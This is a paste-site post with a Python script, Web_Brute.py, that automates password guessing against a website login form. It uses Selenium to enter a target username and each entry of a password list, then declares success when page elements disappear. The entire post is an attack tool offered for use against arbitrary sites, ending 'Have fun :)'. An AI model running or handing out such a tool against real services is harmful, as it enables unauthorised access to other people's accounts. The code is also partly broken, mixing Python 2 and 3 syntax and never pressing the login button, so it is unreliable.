python Web_Brute.py


SUBMITTED BY: skip420

DATE: Jan. 27, 2021, 5:36 p.m.

FORMAT: Python 3

SIZE: 6.2 kB

HITS: 337

  1. #-h, --help show this help message and exit<br>
  2. #-u USERNAME, --username=USERNAME Choose the username<br>
  3. #--usernamesel=USERNAMESEL Choose the username selector<br>
  4. #--passsel=PASSSEL Choose the password selector<br>
  5. #--loginsel=LOGINSEL Choose the login button selector<br>
  6. #--passlist=PASSLIST Enter the password list directory<br>
  7. #--website=WEBSITE choose a website<br>
  8. # python Web_Brute.py
  9. import sys
  10. import datetime
  11. import selenium
  12. import requests
  13. import time as t
  14. from sys import stdout
  15. from selenium import webdriver
  16. from optparse import OptionParser
  17. from selenium.webdriver.common.keys import Keys
  18. from selenium.common.exceptions import NoSuchElementException
  19. #Graphics
  20. class color:
  21. PURPLE = '\033[95m'
  22. CYAN = '\033[96m'
  23. DARKCYAN = '\033[36m'
  24. BLUE = '\033[94m'
  25. GREEN = '\033[92m'
  26. YELLOW = '\033[93m'
  27. RED = '\033[91m'
  28. ORANGE = '\033[91m'
  29. BOLD = '\033[1m'
  30. UNDERLINE = '\033[4m'
  31. END = '\033[0m'
  32. CWHITE = '\33[37m'
  33. #Config#
  34. parser = OptionParser()
  35. now = datetime.datetime.now()
  36. #Args
  37. parser.add_option("-u", "--username", dest="username",help="Choose the username")
  38. parser.add_option("--usernamesel", dest="usernamesel",help="Choose the username selector")
  39. parser.add_option("--passsel", dest="passsel",help="Choose the password selector")
  40. parser.add_option("--loginsel", dest="loginsel",help= "Choose the login button selector")
  41. parser.add_option("--passlist", dest="passlist",help="Enter the password list directory")
  42. parser.add_option("--website", dest="website",help="choose a website")
  43. (options, args) = parser.parse_args()
  44. CHROME_DVR_DIR = '/usr/bin/chromedriver'
  45. def wizard():
  46. print (banner)
  47. website = raw_input(color.GREEN + color.BOLD + '\n[~] ' + color.CWHITE + 'Enter a website: ')
  48. sys.stdout.write(color.GREEN + '[!] '+color.CWHITE + 'Checking if site exists '),
  49. sys.stdout.flush()
  50. t.sleep(1)
  51. try:
  52. request = requests.get(website)
  53. if request.status_code == 200:
  54. print (color.GREEN + '[OK]'+color.CWHITE)
  55. sys.stdout.flush()
  56. except selenium.common.exceptions.NoSuchElementException:
  57. pass
  58. except KeyboardInterrupt:
  59. print (color.RED + '[!]'+color.CWHITE+ 'User used Ctrl-c to exit')
  60. exit()
  61. except:
  62. t.sleep(1)
  63. print (color.RED + '[X]'+color.CWHITE)
  64. t.sleep(1)
  65. print (color.RED + '[!]'+color.CWHITE+ ' Website could not be located make sure to use http / https')
  66. exit()
  67. username_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username selector: ')
  68. password_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the password selector: ')
  69. login_btn_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the Login button selector: ')
  70. username = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username to brute-force: ')
  71. pass_list = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter a directory to a password list: ')
  72. brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website)
  73. def brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website):
  74. f = open(pass_list, 'r')
  75. driver = webdriver.Chrome(CHROME_DVR_DIR)
  76. optionss = webdriver.ChromeOptions()
  77. optionss.add_argument("--disable-popup-blocking")
  78. optionss.add_argument("--disable-extensions")
  79. count = 1 #count
  80. browser = webdriver.Chrome(CHROME_DVR_DIR)
  81. while True:
  82. try:
  83. for line in f:
  84. browser.get(website)
  85. t.sleep(2)
  86. Sel_user = browser.find_element_by_css_selector(username_selector) #Finds Selector
  87. Sel_pas = browser.find_element_by_css_selector(password_selector) #Finds Selector
  88. enter = browser.find_element_by_css_selector(login_btn_selector) #Finds Selector
  89. # browser.find_element_by_css_selector(password_selector).clear()
  90. # browser.find_element_by_css_selector(username_selector).clear()
  91. Sel_user.send_keys(username)
  92. Sel_pas.send_keys(line)
  93. t.sleep(5)
  94. print '------------------------'
  95. print (color.GREEN + 'Tried password: '+color.RED + line + color.GREEN + 'for user: '+color.RED+ username)
  96. print '------------------------'
  97. temp = line
  98. except KeyboardInterrupt: #returns to main menu if ctrl C is used
  99. exit()
  100. except selenium.common.exceptions.NoSuchElementException:
  101. print 'AN ELEMENT HAS BEEN REMOVED FROM THE PAGE SOURCE THIS COULD MEAN 2 THINGS THE PASSWORD WAS FOUND OR YOU HAVE BEEN LOCKED OUT OF ATTEMPTS! '
  102. print 'LAST PASS ATTEMPT BELLOW'
  103. print color.GREEN + 'Password has been found: {0}'.format(temp)
  104. print color.YELLOW + 'Have fun :)'
  105. exit()
  106. banner = color.BOLD + color.RED +'''
  107. _ _ _ _
  108. {0}[{1}-{2}]--> {3}
  109. {4}[{5}-{6}]--> {7}Used by Skip420
  110. {8}[{9}-{10}]-->{11} Web_Bruter '''.format(color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN,color.ORANGE)
  111. driver = webdriver.Chrome(CHROME_DVR_DIR)
  112. optionss = webdriver.ChromeOptions()
  113. optionss.add_argument("--disable-popup-blocking")
  114. optionss.add_argument("--disable-extensions")
  115. count = 1 #count
  116. if options.username == None:
  117. if options.usernamesel == None:
  118. if options.passsel == None:
  119. if options.loginsel == None:
  120. if options.passlist == None:
  121. if options.website == None:
  122. wizard()
  123. username = options.username
  124. username_selector = options.usernamesel
  125. password_selector = options.passsel
  126. login_btn_selector = options.loginsel
  127. website = options.website
  128. pass_list = options.passlist
  129. print banner
  130. brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website)

comments powered by Disqus